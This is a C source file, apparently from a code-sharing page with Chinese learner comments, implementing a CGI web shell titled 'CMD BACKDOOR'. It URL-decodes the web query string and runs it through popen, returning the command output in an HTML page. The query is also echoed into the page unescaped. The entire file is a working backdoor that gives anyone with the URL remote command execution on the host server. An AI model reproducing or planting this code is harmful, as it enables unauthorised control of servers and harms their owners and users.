📄 cmd.c
字号:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//宏定义,网页标题
#define TITLE "CMD BACKDOOR"
//声明函数
char x2c(char *what);
int header();
int footer();
//主函数
int main()
{
FILE *out;
char *qs = (char *)malloc(256);
int x = 0, i = 0, c = 0, f = 0;
//获得传递的字符串
qs = getenv("QUERY_STRING");
//有传递字符
if (qs != NULL)
{
for (x = 0, i = 0; qs[i]; x++, i++)
{
if ((qs[x] = qs[i]) == '%')
{
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
}
qs[x] = '\0';
//把‘+’换成空格
for (x = 0; qs[x]; x++)
{
if (qs[x] == '+')
{
qs[x] = ' ';
}
}
//显示一下
header(qs);
//这里不太明白,关键是怎么和cmd绑定的。
out = popen(qs, "r");
if (out != NULL)
{
while (c != EOF)
{
c = fgetc(out);
//一个一个字的输入
if (c != EOF && c != '\0')
{
printf("%c", (char) c);
//一个标志变量
f++;
}
}
pclose(out);
}
//这里判断是否是可以执行的命令
if (f == 0 && strcmp(qs, "") != 0)
printf("error! %s: command not found\n", qs);
}
//显示一下
footer();
return(0);
}
//字符转换,好象是十六进制转换为字符
char x2c(char *what)
{
register char digit;
digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
digit *= 16;
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
return (digit);
}
//头显示
int header(char *qs)
{
printf("Content-type: text/html\n\n");
printf("<html>\n<head><title>%s</title></head>\n", TITLE);
printf("<body bgcolor=\"#ffffff\">\n");
printf("<dir>");
printf("<ISINDEX prompt=\"CMD:> \">\n");
//这句是重点
printf("<br>CMD:> %s\n", qs);
printf("<br><pre>\n");
}
//尾显示
int footer()
{
printf("</pre>\n</p></p>\n</body></html>\n");
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -